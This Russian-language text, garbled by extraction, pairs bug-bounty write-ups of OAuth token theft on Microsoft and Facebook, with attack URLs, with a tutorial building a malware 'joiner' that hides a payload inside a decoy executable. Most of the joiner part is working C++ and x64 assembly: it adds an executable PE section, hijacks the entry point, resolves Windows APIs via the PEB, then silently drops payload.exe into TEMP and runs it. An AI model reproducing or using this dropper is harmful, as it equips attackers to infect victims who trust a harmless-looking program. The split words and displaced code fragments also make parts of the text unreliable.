OAuth‐при ложе ний.  Тес тируя  OAuth  или  ана логич ные  механиз мы  аутен‐ 
тифика ции,  тща тель но  про ана лизи руй те  то,  как  про веря ются  парамет ры
перенап равле ния.  Для  это го  при ложе нию  мож но  переда вать  раз ные  виды
URL‐адре сов.  Этот  под ход  помог  Дже ку  Уит тону  най ти  в  про цеду ре  вхо да
на сайт Microsoft спо соб похитить аутен тифика цион ные токены.

Ком пания  Microsoft  вла деет  мно жес твом  про ектов,  поэто му  зап росы
для  аутен тифика ции  поль зовате лей  на  раз ных  сер висах  нап равля ются  раз‐ 
ным  доменам:  ,    или 

.  Эти  зап росы  воз вра щают  поль зовате лям  сес сии.  Нап ример,
в слу чае с   про цеду ра выг лядит так:

login.live.com login.microsoftonline.com login.
windows.net

outlook.office.com
1. Поль зователь заходит на сайт  .https://outlook.office.com
2. Поль зователь перенап равля ется к

https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&
wreply=https%3a%2f%2fbutlook.office.com%2fowa%2f&id=260563 

3. В  слу чае  успе ха  по  адре су  внут ри    выпол няет ся  POST‐зап рос
с парамет ром  , который содер жит токен для поль зовате ля.

wreply
t

При  попыт ке  поменять    на  любой  дру гой  домен  воз никала  ошиб ка.
Уит тон поп робовал переда вать сим волы с двой ным кодиро вани ем, добав ляя
в  конец  URL‐адре са  ,  что бы  получить 

. В этом URL‐адре се спе циаль ные сим волы   и   кодиру ются
как    и,  соот ветс твен но,  .  Кро ме  того,  в  исходном  адре се  сле дует
закоди ровать  знак  про цен та  ( ),  что бы  при  двой ном  кодиро вании  он  прев‐ 
ратил ся в косую чер ту    (кодиро вание спе циаль ных сим волов обсужда‐ 
лось  в  раз деле  «Раз деление  HTTP‐отве та  в  Twitter»  на  с.  77).  Ког да  Уит тон
под ста вил  вмес то    получен ный  URL‐адрес,  при ложе ние  вер нуло
ошиб ку,  сооб щающую,  что  адрес    некор‐ 
ректен.

wreply

%252f https%3a%2f%2foutlook.of‐
fice.com%252f : /

%3a %2f
%

%252f

wreply
https://outlook.office.com%f

Вслед за этим Уит тон добавил  к домену    и  вмес то ошиб ки
получил  .
Дело в том, что URL‐адрес име ет сле дующую струк туру:

@example.com
https://outlook.office.com%2f@example.com/?wa=wsignin1.0

[//[имя_пользователя:пароль@]домен[:порт]][/]путь[?запрос][#фрагмент] 

Имя поль зовате ля и пароль учас тву ют в базовой HTTP‐аутен тифика ции сай та.
Поэто му пос ле добав ления   домен для перенап равле ния боль‐ 
ше не выг лядел как  . Вмес то это го поль зовате ля мож но
было  перенап равить  к  любому  домену,  который  кон тро лиро вал ся  зло умыш‐ 
ленни ком.

@example.com
outlook.office.com

По сло вам Уит тона, при чиной этой уяз вимос ти было то, что сайт Microsoft
выпол нял декоди рова ние и про вер ку URL‐адре са в два эта па. На пер вом эта‐ 
пе сайт про верял, явля ется ли домен ное имя кор рек тным и соот ветс тву ет ли
оно  струк туре  URL‐адре са.  Адрес 

  успешно  про ходил  про вер ку,  пос коль ку  стро ка 
 вос при нима лась как кор рек тное имя поль зовате ля.

https://outlook.office.com%2f@exam‐
ple.com outlook.office.
com%2f

На вто ром эта пе сайт рекур сивно декоди ровал URL‐адрес. Стро ка 
  прев ращалась

в  ,  то  есть  фраг мент 
  пос ле  косой  чер ты  интер пре тиро вал ся  как  часть  пути,  а  домен ное

имя выг лядело как  .

https%3a%2f%2foutlook.office.com%252f@example.com
https://  outlook.office.com/@example.com @exam‐

ple.com
outlook.office.com

Сайт  Microsoft  про верял  струк туру  URL‐адре са,  декоди ровал  его  и  под‐ 
тверждал его при сутс твие в белом спис ке. Но в качес тве отве та воз вра щал ся
адрес, декоди рован ный один раз. То есть при посеще нии  такого URL  токен
жер твы отправ лялся сай ту example.com.

https://login.microsoftonline.com/login.srf?wa=wsignin1.0&rpsnv=4&
wreply=https%3a%2f%2foutlook.office.com%252f@example.com&id=260563 

Ха кер,  вла дев ший  этим  сай том,  мог  вой ти  в  сер вис  Microsoft,  к  которо му
отно сил ся получен ный токен, и читать учет ные записи дру гих поль зовате лей.

Выводы
В  ходе  иссле дова ния  парамет ров  перенап равле ния  в  про цеду ре  OAuth
добавь те  к  конеч ному URI‐адре су    и  пос мотри те,  как  поведет
себя при ложе ние. Это осо бен но акту аль но, если в про цес се аутен тифика ции
исполь зуют ся закоди рован ные сим волы, которые дол жны быть декоди рова ны
перед  про вер кой  вхож дения  URL‐адре са  в  белый  спи сок.  Во  вре мя  тес‐ 
тирова ния обра щай те вни мание на нез начитель ные изме нения в поведе нии
сай та.

@example.com

ПОХИЩЕНИЕ ОФИЦИАЛЬНЫХ ТОКЕНОВ ДОСТУПА НА САЙТЕ
FACEBOOK

 высокая• Слож ность:

 • URL: facebook.com
 • Ис точник: philippeharewood.com/swiping‐facebook‐official‐access‐tokens/

 29 фев раля 2016 года• Да та подачи отче та:

 не раз гла шает ся• Вып лачен ное воз награж дение:

При  поис ке  уяз вимос тей  обра щай те  вни мание  на  ресур сы  инте ресу юще го
вас  при ложе ния,  о  которых  раз работ чики  мог ли  забыть.  Филип пе  Хэй рвуд
пос тавил  перед  собой  цель:  похитить  токен  поль зовате ля  Facebook
и получить дос туп к его кон фиден циаль ной информа ции. Одна ко ему не уда‐ 
лось най ти никаких оши бок в реали зации OAuth на сай те Facebook. Не отча‐ 
явшись, он поменял свой план и начал искать при ложе ние Facebook, которое
мож но зах ватить как под домен.

Он  знал,  что  Facebook  вла деет  при ложе ниями,  которые  авто мати чес ки
авто ризу ются с помощью OAuth, исполь зуя учет ные записи этой плат формы.
С их  спис ком мож но было озна комить ся  на  стра нице 

.
https://www.facebook.‐

com/search/me/apps‐used/
В  спис ке  Хэй рвуд  нашел  один  про ект,  который  по‐преж нему  был  авто‐ 

ризо ван, хотя ком пания Facebook им боль ше не вла дела и не исполь зовала
его  домен.  Это  озна чало,  что  Хэй рвуд  мог  зарегис три ровать  одоб ренное
домен ное имя в качес тве парамет ра   и получить токен любого
поль зовате ля Facebook, который посещал конеч ную точ ку авто риза ции OAuth:

redirect_uri

https://facebook.com/v2.5/dialog/oauth?response_type=token&
display=popup&clientJd=APP_ID&redirect_uri=REDIRECT_URI/ 

В этом URL‐адре се иден тифика тор уяз вимого при ложе ния обоз начен в виде
парамет ра  , который пре дос тавлял дос туп ко всем областям видимос‐ 
ти  OAuth.  Домен,  вхо див ший  в  белый  спи сок,  обоз начен  как 
(Хэй рвуд  не  уточ нил,  какое  имен но  при ложе ние  было  неп равиль но  скон‐ 
фигури рова но).  Пос коль ку  при ложе ние  уже  было  авто ризо вано  для  каж дой
учет ной записи Facebook, при щел чке по этой ссыл ке поль зовате лю не нуж но
было  под тверждать  зап рашива емые  области  видимос ти.  Кро ме  того,  вся
про цеду ра OAuth выпол нялась пос редс твом фоновых HTTP‐зап росов. Открыв
этот  URL‐адрес  для  аутен тифика ции  на  сай те  Facebook,  поль зователь
перенап равлял ся  к  стра нице  с  подоб ным  адре сом 

.

APP_ID
REDIRECT_URI

http://REDIRECT_URI/
#token=сюда_добавлялся_токен/

Пос коль ку Хэй рвуд зарегис три ровал домен  , он мог записы‐ 
вать токены любых поль зовате лей, откры вав ших этот URL‐адрес, что давало
ему  дос туп  к  их  учет ным  записям  на  сай те  Facebook.  Кро ме  того,  все  офи‐ 
циаль ные  токены  Facebook  име ли  дос туп  к  дру гим  при ложе ниям  этой  ком‐ 
пании, таким как Instagram. В ито ге Хэй рвуд мог аутен тифици ровать ся на этих
сай тах от име ни жер твы.

REDIRECT_URI

Выводы
При поис ке уяз вимос тей обра щай те вни мание на ресур сы, о которых мог ли
забыть  вла дель цы  сай та.  Иног да  это  могут  быть  записи  CNAME  для  под‐ 
доменов и зависи мос ти при ложе ний, такие как Ruby Gems, биб лиоте ки Java‐
Script и т. д. Перед началом тес тирова ния ставь те перед собой чет кую цель.
В  ходе  иссле дова ния  круп ного  при ложе ния  это  поз волит  не  отвле кать ся
на про вер ку его бес числен ных аспектов.

ИТОГИ
Нес мотря  на  то  что  про цеду ра  аутен тифика ции  OAuth  явля ется  стан дарти‐ 
зиро ван ной,  раз работ чики  могут  допус тить  ошиб ку  в  ее  кон фигура ции.
Неоче вид ные уяз вимос ти поз воля ют зло умыш ленни ку похитить токены авто‐ 
риза ции  и  получить  дос туп  к  кон фиден циаль ным  дан ным  жер твы.  Иссле дуя
при ложе ния с под дер жкой OAuth, тща тель но иссле дуй те параметр 

,  что бы  понять,  нес коль ко  кор рек тно  при ложе ние  его  про веря ет
при  отправ ке  токенов.  Ищи те  нес тандар тные  механиз мы  аутен тифика ции
на  осно ве  про цеду ры  OAuth,  которые  под верже ны  уяз вимос тям.  Если  вам
не  уда ется  най ти  ничего  подоз ритель ного,  не  забудь те  про верить  одоб‐ 
ренные  ресур сы.  Воз можно,  раз работ чики  забыли  о  каком‐то  при ложе нии,
которо му кли ент доверя ет по умол чанию.

redirec‐
t_uri
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ВЗЛОМ

Пред ста вим, что нам нуж но запус тить некий злов редный код
на машине жер твы. Дос тупа к это му ком пу у нас нет, и кажет‐ 
ся,  что  самым  прос тым  вари антом  будет  вынудить  жер тву
сде лать все за нас. Конеч но, ник то в здра вом уме не запус‐ 
тит  сом нитель ное  ПО  на  сво ем  девай се,  поэто му  жер тву
нуж но  заин тересо вать  —  пред ложить  что‐то  полез ное.  Тут
в дело всту пает джо инер — тул за, которая встро ит в полез‐ 
ную наг рузку наш код и скрыт но его запус тит.

WARNING

Статья пред назна чена для «белых хакеров», про‐ 
фес сиональ ных  пен тесте ров  и  руково дите лей
служ бы  информа цион ной  безопас ности  (CISO).
Ни автор, ни редак ция не несут ответс твен ности
за  любой  воз можный  вред,  при чинен ный  при‐ 
мене нием информа ции дан ной статьи.

Су щес тву ют  ли  готовые  решения,  пред назна чен ные  для  склей ки  прог рамм
и вре донос ной наг рузки? Безус ловно, но здесь есть ряд проб лем. Такие инс‐ 
тру мен ты детек тятся анти виру сами,  сто ят денег и  час то про дают ся  как сер‐ 
вис, то есть тре буют опла ты за разовую склей ку. Бес плат ные и прос тые спо‐ 
собы встро ить полез ную наг рузку вида «помес тим фай лы в саморас паковы‐ 
вающий ся  архив»  и  вов се  баналь ный фуф ломицин.  Решение же,  сде лан ное
сво ими руками, может быть улуч шено, исправ лено в слу чае детек та и, конеч‐ 
но, оста нет ся бес плат ным.

НЕМНОГО ТЕОРИИ
Джо инер может и дол жен скле ивать два исполня емых фай ла. Пер вый — визу‐ 
аль ная обо лоч ка, кра сивая кар тинка и отвле кающий маневр. Это то, что уви‐ 
дит юзер  на  экра не  сво его  компь юте ра,  ког да  запус тит  исполня емый файл.
Вто рой — полез ная наг рузка, которая запус кает ся без явно го желания поль‐ 
зовате ля. По умол чанию вто рой файл не будет как‐то скрыт: если в нем при‐ 
сутс тву ют  окна  или,  нап ример,  гром кое  музыкаль ное  соп ровож дение,  то
это все юзер заметит. Поэто му нуж но обес печить скрыт ную работу полез ной
наг рузки. Джо инер лишь скле ивает, но не мас киру ет вре донос ное при ложе‐ 
ние.

А  может  ли  джо инер  скле ить  исполня емый  файл  с  кар тинкой?  Может,
но это не име ет смыс ла. Чис то теоре тичес ки, если бы он скле ивал исполня‐ 
емый файл и кар тинку, на выходе все рав но получал ся бы исполня емый файл,
который не имел бы рас ширения  ,    или дру гого подоб ного. Редак‐ 
торы  и  прос мот рщи ки  кар тинок  такой  файл  открыть  не  смо гут.  Либо  мы
получим кар тинку, но в таком слу чае не смо жем запус тить исполня емый файл.
Есть еще вари ант, ког да при ложе ние стар тует и откры вает кар тинку через API
ShellExecute.  Дей ствие  занят ное,  но  толь ко  в  качес тве  фокуса  —  поль зы
от него никакой.
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КАК УСТРОЕН НАШ ВАРИАНТ
На шей целью будет Windows 10 x64, но, поняв прин цип, лег ко мож но перера‐ 
ботать  инс тру мен тарий  под  дру гие  вер сии  семей ства Windows.  Код  дол жен
работать и на Windows 7/8, но не тес тировал ся там. Мы будем исполь зовать
смесь С++ и ассем бле ра.

Алгоритм работы
Обо лоч ка — наш пер вый  , который будет виден кли енту. Это, так ска зать,
при ман ка.  Наг рузка —  вто рой  ,  в  котором  содер жится  злов редный  кон‐ 
тент.  В  обо лоч ку  добав ляет ся  допол нитель ная  сек ция,  куда  записы вает ся
шелл‐код  и  наг рузка.  Управле ние  сра зу  переда ется  на  шелл‐код,  задача
которо го — извлечь наг рузку, сох ранить ее на диск и запус тить. На вер хнем
уров не  все  сво дит ся  к  тому,  что  мы  получа ем  некий  бай товый  мас сив,
который дол жны положить в допол нитель ную сек цию. Потом оста нет ся лишь
испра вить точ ку вхо да у обо лоч ки, и все — склей ка завер шена.

ехе
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 try {
              const auto goodfile = std::wstring(argv[1]);
              const auto badfile = std::wstring(argv[2]);

              const auto content = CreateData(badfile,goodfile);
          AddDataToFile(goodfile, content, L"fixed.exe");

   }
         catch (const std::exception& error)
   {

              std::cout << error.what() << std::endl;
   }

Добавление секции
Это самая прос тая часть алго рит ма, поэто му для разог рева нач нем имен но
с нее. Откры ваем на чте ние файл обо лоч ки:

   std::ifstream inputFile(inputPe, std::ios::binary);
     if (inputFile.fail())
   {

                  const auto message = Utils::WideToString(L"Unable to open " +
inputPe);

        throw std::logic_error(message);
   }

Нам  понадо бит ся  биб лиоте ка  для  работы  с  PE‐фай лами.  Это  очень  силь но
упростит  нам  добав ление  сек ции,  редак тирова ние  ее  атри бутов,  исправ‐ 
ление  entry  point  и  про чее.  Я  выб рал  ста рую  про верен ную  биб лиоте ку 

.
PE

Bliss
Но  биб лиоте ку  нуж но  нем ного  под пра вить,  если  мы  хотим  исполь зовать

С++17 для ком пиляции про ектов. Прав ки эти дела ются три виаль но и сос тоят
в  том,  что  нуж но  уста рев ший    сме нить  на  .  Из‐за  этих
пра вок  код  биб лиоте ки  я  пред ложил  бы  хра нить  непос редс твен но  в  сво ем
репози тории, а не исполь зовать submodule. Сек ция добав ляет ся так:

auto_ptr unique_ptr

     auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
     pe_bliss::section newSection;
   newSection.readable(true).writeable(true).executable(true);
        // Секция получает атрибуты read + write + execute
   newSection.set_name("joiner");
                                     // Имя секции
       newSection.set_raw_data(std::string(data.cbegin(), data.cend()));
// Контент секции
         pe_bliss::section& added_section = peImage.add_section(newSection
);

                       
   
const auto alignUp = [](unsigned int value, unsigned int aligned)

‐> unsigned int
   {

                  const auto num = value / aligned;
                         

   
       return (num * aligned < value) ? (num * aligned + aligned) :
(num * aligned);
   };

   peImage.set_section_virtual_size(added_section,
        alignUp(data.size(), peImage.get_section_alignment()));

        // Виртуальный размер секции выравнивается в бОльшую сторону

       peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD
));

Пос ледняя стро ка зас лужива ет отдель ных ком мента риев. Там меня ется точ ка
вхо да, но новая EP (entry point) выс тавля ется не на самое начало новой сек‐ 
ции, а на начало со сме щени ем, которое рав но раз меру струк туры  . Эта
струк тура выг лядит так:

HEAD

 struct HEAD
{
         unsigned long long sizeOfPayload;
         unsigned long long OEP;
};

Воз ника ет  логич ный  воп рос:  что  это  за  поля  и  отку да берут ся  их  зна чения?
Поле   — раз мер фай ла наг рузки, а   — зна чение точ ки вхо‐ 
да обо лоч ки до того, как мы добави ли новую сек цию и изме нили на нее точ ку
вхо да. Как будет выг лядеть струк тура новой сек ции в целом, показа но на кар‐ 
тинке.

sizeOfPayload OEP

Струк тура новой сек ции

Ассемблер и шелл-код
Код, который мы добавим в обо лоч ку, дол жен соот ветс тво вать опре делен ным
тре бова ниям. И на язы ке ассем бле ра добить ся это го соот ветс твия не прос то
лег че — это единс твен но воз можный путь. Раз берем ся почему.

Ког да мы инжектим свой код в пос торон ний  , мы дол жны быть готовы
к тому, что код запус тится по слу чай ному адре су без под готов ки со сто роны
заг рузчи ка. Не будет никаких извес тных адре сов API‐фун кций, релока ции ник‐ 
то не испра вит, поэто му нуж но писать самодос таточ ный код. Такой код иног‐ 
да  называ ют  шелл‐кодом,  хотя  он  и  не  явля ется  шелл‐кодом  в  понима нии
экс плу ата ции уяз вимос тей. Это, ско рее, код «в шелл‐код‐сти ле».

.ехе

Та ким обра зом, этот код:
дол жен  уметь  работать  с  любого  адре са,  неваж но,  по  какому  адре су  он
ока зал ся в памяти;

•

дол жен находить адре са нуж ных ему фун кций.•

Дельта-смещение
Ес ли файл был соб ран под адрес Х, а запус тился с адре са Y, то все абсо лют‐ 
ные адре са тре буют кор ректи ров ки. Раз ница меж ду эти ми адре сами как раз
и называ ется дель та‐сме щени ем. Вот код для вычис ления такого дель та‐сме‐ 
щения:

 call delta
delta:
     pop rax
         mov rcx, offset delta
       sub rax, rcx

Вы зов фун кции с уче том это го сме щения выг лядит так:

     mov rax, offset GetNtdllByModuleList
       add rax, [rsp+100h+var_delta]
     call rax

Строки, смешанные с кодом
Хра нить стро ки, перемен ные (дан ные) и код в раз ных сек циях для шелл‐кода
неп рием лемо.  Поэто му  здесь  код  и  дан ные  сме шива ются.  С  локаль ными
перемен ными на сте ке нет никаких проб лем. Со стро ками исполь зует ся сле‐ 
дующий при ем:

   jmp short begin
   getprocaddr:

        db 'LdrGetProcedureAddress',0
   getdllhandle:

        db 'LdrGetDllHandle',0
begin:

То есть инс трук ции идут вмес те со стро ками. Конеч но, стро ки нель зя выпол‐ 
нить, и мы дела ем корот кие (short) перехо ды через стро ки.

Поиск границ шелл-кода
Для это го мы вос поль зуем ся public‐перемен ными. В ассем блер ном лис тинге,
в самом начале нашего шелл‐кода, мы помес тим перемен ную. Она пос лужит
мар кером начала. Точ но так же мы помес тим перемен ную в кон це кода.

   PUBLIC sizeOfPayload ; Маркер начала
   PUBLIC FinishMarker ; Маркер завершения шелл‐кода

.CODE

     sizeOfPayload QWORD 0 ; Поля структуры HEAD
 OEP           QWORD 0

   launcher proc ; Начало самого кода

MASM, cmake и Visual Studio
Нам нуж но под ружить эти инс тру мен ты. Macro assembler нужен для написа ния
шелл‐кода,  потому  что  встра ивать  ассем блер ный  код  в  прог рамму  на  С++
с  помощью    в  архи тек туре  x64  нель зя.  Соз дает ся  отдель ный  файл
с ассем блер ным кодом, обыч но для таких фай лов исполь зуют рас ширение 

, а в   добав ляют ся такие дирек тивы:

__asm{}
.

asm CMakeLists.txt

enable_language(ASM_MASM)

 set(ASMSRC shellcode.asm)
   target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})

   if(CMAKE_CL_64 EQUAL 0)
         set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/
safeseh /DSC_WIN32")
else()
         set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/
DSC_WIN64")
endif()

Те перь мы получим воз можность слин ковать два объ ектных фай ла при усло‐ 
вии, что в С++ исполь зует ся клю чевое сло во  . Нап ример:extern

         extern "C" unsigned long long sizeOfPayload;

Алгоритм запуска нагрузки
Шелл‐код работа ет так: 
1. Ищет путь к дирек тории  . 
2. Записы вает туда файл с наг рузкой. 
3. Запус кает этот файл на выпол нение. 
4. Переда ет управле ние ори гиналь ной точ ке вхо да обо лоч ки.

TEMP

В виде лис тинга это может выг лядеть так:

             
   

void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData,
const API_Adresses* addresses)
{
     STARTUPINFOA startup{0};
     PROCESS_INFORMATION procInfo{0};
           const char surprise[] = "payload.exe";
           const auto size = reinterpret_cast<gettemppatha*>(

        addresses‐>GetTempPathA)(0, nullptr);

         auto* location = reinterpret_cast<virtualalloc*>(addresses‐>
VirtualAlloc)

            (nullptr, size + sizeof(surprise),
        MEM_COMMIT, PAGE_READWRITE);

     if (!location)
   {
       return;
   }

     reinterpret_cast<gettemppatha*>(addresses‐>GetTempPathA)(size,
reinterpret_cast<LPSTR>(location));
   

 
reinterpret_cast<winlstrcat*>(addresses‐>lstrcatA)(

reinterpret_cast<LPSTR>(location), surprise);

         auto handle = reinterpret_cast<createfilea*>(addresses‐>
CreateFileA)

        (reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
            FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
          CREATE_ALWAYS, 0, 0);

     reinterpret_cast<writefile*>(addresses‐>WriteFile)(handle, data,
          sizeData, nullptr, nullptr);

   reinterpret_cast<closehandle*>(addresses‐>CloseHandle)(handle);
   reinterpret_cast<createprocessa*>(addresses‐>CreateProcessA)(
reinterpret_cast<LPSTR>(location),
       nullptr,

          nullptr, nullptr, FALSE,
              0, nullptr, nullptr, &startup, &procInfo);

   reinterpret_cast<closehandle*>(addresses‐>CloseHandle)(procInfo.
hProcess);
   reinterpret_cast<closehandle*>(addresses‐>CloseHandle)(procInfo.
hThread);
     
 
reinterpret_cast<virtualfree*>(addresses‐>VirtualFree)(location,

0, MEM_RELEASE);
}

Дан ный  код  зас лужива ет  более  деталь ного  рас смот рения.  Во‐пер вых,  он
на  С++.  Но  как  же  так?  Ведь  шелл‐код  дол жен  быть  на  ассем бле ре?  Да,
шелл‐код на ассем бле ре. Прос то вна чале был этот код, а потом я его дизас‐ 
сем бли ровал  и  ско пиро вал  резуль тат  (с  неболь шими  прав ками)  в 

.  Во‐вто рых,  это  —  чис тая  фун кция,  то  есть  резуль тат  ее  работы
зависит толь ко от вход ных парамет ров. Это важ но, пос коль ку такие фун кции
генери руют ся ком пилято ром прак тичес ки сра зу в нуж ном нам шелл‐код‐сти‐ 
ле. В‐треть их, тут нет какой‐то обра бот ки оши бок, потому что в слу чае ошиб‐ 
ки мы не дол жны никак ее обра баты вать и  вооб ще обна ружи вать свое при‐ 
сутс твие.  Так же  важ но,  что  все  необ ходимые  API‐фун кции  пода ются  нам
на вход:

shell‐
code.asm

 struct API_Adresses
{
     FARPROC GetTempPathA;
     FARPROC VirtualAlloc;
     FARPROC lstrcatA;
     FARPROC CreateFileA;
     FARPROC WriteFile;
     FARPROC CloseHandle;
     FARPROC CreateProcessA;
     FARPROC VirtualFree;
};

Для  работы  алго рит ма  нам  понадо бит ся  восемь  фун кций.  Но  как  най ти  их
адре са?

Продолжение статьи →
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Поиск API в памяти
Ал горитм дос таточ но прост:
1. Ищем базу заг рузки  .ntdll.dll

2. В таб лице экспор та находим две фун кции:   и 
.

LdrGetDllHandle LdrGet­

ProcedureAddress

3. С  их  помощью  находим  адре са  вось ми  фун кций  из  струк туры
.API_Adresses

Ба за заг рузки   ищет ся бла года ря тому, что   при‐ 
над лежит прос транс тву  :

ntdll.dll peb_loader_data
ntdll.dll

GetNtdllByModuleList:
                      mov rax, gs:[60h]
                      mov ecx, 5A4Dh
                      mov rax, [rax+18h]
                      and rax, 0FFFFFFFFFFFFF000h

try_again:
                      cmp [rax], cx

                jz      short finish
                      sub rax, 1000h
                      jnz short try_again

finish:
               ret

Код  пар синга  таб лицы  экспор та  был  чес тно  поза имс тво ван  на  прос торах
интерне та (прав да, ори гиналь ная вер сия содер жит баг, который в моем коде
исправ лен):

;http://mcdermottcybersecurity.com/articles/windows‐x64‐shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is 
forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm  proc
NtGetProcAddressAsm:
     push rcx
     push rdx
     push rbx
     push rbp
     push rsi
     push rdi

start:

found_dll:
       mov rbx, rcx            ;get dll base addr — points to DOS "MZ" 
header

       mov r9d, [rbx+3ch]      ;get DOS header e_lfanew field for 
offset to "PE" header
       add r9, rbx             ;add to base — now r9 points to 
_image_nt_headers64
       add r9, 88h             ;18h to optional header + 70h to data 
directories
                           ;r9 now points to _image_data_directory[
0] array entry
                           ;which is the export directory

       mov r13d, [r9]          ;get virtual address of export directory
       test r13, r13           ;if zero, module does not have export 
table
     jnz has_exports

       xor rax, rax            ;no exports — function will not be found 
in dll
     jmp done

has_exports:
       lea r8, [rbx+r13]       ;add dll base to get actual memory 
address
                           ;r8 points to _image_export_directory 
structure (see winnt.h)

       mov r14d, [r9+4]        ;get size of export directory
       add r14, r13            ;add base rva of export directory
                           ;r13 and r14 now contain range of export 
directory
                           ;will be used later to check if export 
is forwarded

       mov ecx, [r8+18h]       ;NumberOfNames
       mov r10d, [r8+20h]      ;AddressOfNames (array of RVAs)
       add r10, rbx            ;add dll base

     dec ecx                 ;point to last element in array (
searching backwards)
for_each_func:
               lea r9, [r10 + 4*rcx] ;get current index in names array

       mov edi, [r9]           ;get RVA of name
       add rdi, rbx            ;add base
       mov rsi, rdx            ;pointer to function we're looking for

compare_func:
   cmpsb
     jne wrong_func          ;function name doesn't match

       mov al, [rsi]           ;current character of our function
       test al, al             ;check for null terminator
     jz bug_fix              ;bugfix here — doulbe check of zero byte
                           ;if at the end of our string and all 
matched so far, found it

     jmp compare_func        ;continue string comparison

wrong_func:
     loop for_each_func      ;try next function in array

       xor rax, rax            ;function not found in export table
     jmp done
bug_fix:
       mov al, [rdi]
       test al, al
       jz short found_func
       jmp short compare_func

found_func:                 ;ecx is array index where function name 
found

                           ;r8 points to _image_export_directory 
structure
       mov r9d, [r8+24h]       ;AddressOfNameOrdinals (rva)
       add r9, rbx             ;add dll base address
       mov cx, [r9+2*rcx]      ;get ordinal value from array of words

       mov r9d, [r8+1ch]       ;AddressOfFunctions (rva)
       add r9, rbx             ;add dll base address
             mov eax, [r9+rcx*4] ;Get RVA of function using index

       cmp rax, r13            ;see if func rva falls within range of 
export dir
     jl not_forwarded
       cmp rax, r14            ;if r13 <= func < r14 then forwarded
     jae not_forwarded

   ;forwarded function address points to a string of the form <DLL 
name>.<function>
   ;note: dll name will be in uppercase
   ;extract the DLL name and add ".DLL"

       lea rsi, [rax+rbx]      ;add base address to rva to get 
forwarded function name
       lea rdi, [rsp+30h]      ;using register storage space on stack 
as a work area
       mov r12, rdi            ;save pointer to beginning of string

copy_dll_name:
   movsb
                 cmp byte ptr [rsi], 2eh ;check for '.' (period) character
     jne copy_dll_name

   movsb                               ;also copy period
           mov dword ptr [rdi], 004c4c44h      ;add "DLL" extension and 
null terminator

       mov rcx, r12            ;r12 points to "<DLL name>.DLL" string 
on stack
     call r15                ;call LoadLibraryA with target dll

       mov rcx, r12            ;target dll name
       mov rdx, rsi            ;target function name
     jmp start               ;start over with new parameters

not_forwarded:
       add rax, rbx            ;add base addr to rva to get function 
address
done:
     pop rdi
     pop rsi
     pop rbp
     pop rbx
     pop rdx
     pop rcx

   ret

Ког да у нас появи лись адре са двух кра еуголь ных фун кций 
и  , даль ше мож но най ти адрес фун кции для любой
уже  заг ружен ной  биб лиоте ки.  Либа    тоже  заг ружа ется  лоаде‐ 
ром сра зу, так что мы без проб лем най дем все инте ресу ющие нас адре са:

LdrGetDllHandle
LdrGetProcedureAddress

kernel32.dll

GetProcedureAddressAsm:
         var_28= word ptr ‐28h
         var_26= word ptr ‐26h
         var_20= qword ptr ‐20h
         var_18= word ptr ‐18h
         var_16= word ptr ‐16h
         var_10= qword ptr ‐10h
          arg_0= qword ptr 8
          arg_8= qword ptr 10h
          arg_10= qword ptr 18h
          arg_18= qword ptr 20h

           mov [rsp+arg_10], rbx
           mov [rsp+arg_18], rsi
        push rdi
           sub rsp, 40h
           xor ebx, ebx
           mov rdi, rdx
          test rcx, rcx
           mov rdx, rcx
           mov ecx, ebx
           mov rsi, r9
           mov r10, r8
     jz      short loc_14000689A
           cmp [rdx], cx
     jz      short loc_140006898
             nop dword ptr [rax+00000000h]

   loc_140006890:
         inc ecx
           cmp [rdx+rcx*2], bx
           jnz short loc_140006890

   loc_140006898:
           add ecx, ecx

   loc_14000689A:
           mov [rsp+48h+var_28], cx
           lea r9, [rsp+48h+arg_0]
           add cx, 2
           mov [rsp+48h+var_20], rdx
           mov [rsp+48h+var_26], cx
           lea r8, [rsp+48h+var_28]
           xor ecx, ecx
           xor edx, edx
        call r10
          test rdi, rdi
     jz      short loc_1400068D0
               cmp byte ptr [rdi], 0
     jz      short loc_1400068D0

   loc_1400068C8:
         inc ebx
               cmp byte ptr [rbx+rdi], 0
           jnz short loc_1400068C8

   loc_1400068D0:
           mov rcx, [rsp+48h+arg_0]
           lea r9, [rsp+48h+arg_8]
           mov [rsp+48h+var_18], bx
           lea rdx, [rsp+48h+var_18]
         inc bx
           mov [rsp+48h+var_10], rdi
           xor r8d, r8d
           mov [rsp+48h+var_16], bx
        call rsi
           mov rax, [rsp+48h+arg_8]
           mov rbx, [rsp+48h+arg_10]
           mov rsi, [rsp+48h+arg_18]
           add rsp, 40h
         pop rdi

   ret

Не поня тен ассем блер ный код? Изна чаль но этот код тоже написан на С++:

       FARPROC GetProcedureAddress(wchar_t* library, char* function,
     LdrGetDllHandlePointer* LdrGetDllHandle,
     LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
           const auto libNameLen = static_cast<USHORT>(GetWcharLen(library))
;
        UNICODE_STRING libraryName{ libNameLen,

           libNameLen + sizeof(wchar_t),
         library };

     HMODULE hModule;
         LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);

           const auto functionNameLen = static_cast<USHORT>(GetCharLen(
function));
       ANSI_STRING functionName{ functionNameLen,

          functionNameLen + sizeof(char),
        function };

     FARPROC result;
         LdrGetProcedureAddress(hModule, &functionName, 0, &result);

     return result;
}

Для запол нения струк туры с адре сами исполь зует ся такой метод (далее при‐ 
веден его псев докод):

   API_Adresses CreateAddressStruct(LdrGetDllHandlePointer*
LdrGetDllHandle,
       

 
LdrGetProcedureAddressPointer* LdrGetProcedureAddress,

GetProcedureAddressPointer* getter)
{
     API_Adresses result{};
         wchar_t* libname = L"kernel32.dll";

           result.CloseHandle = getter(libname, "CloseHandle",
LdrGetDllHandle,
       LdrGetProcedureAddress);
           result.CreateFileA = getter(libname, "CreateFileA",
LdrGetDllHandle,
       LdrGetProcedureAddress);
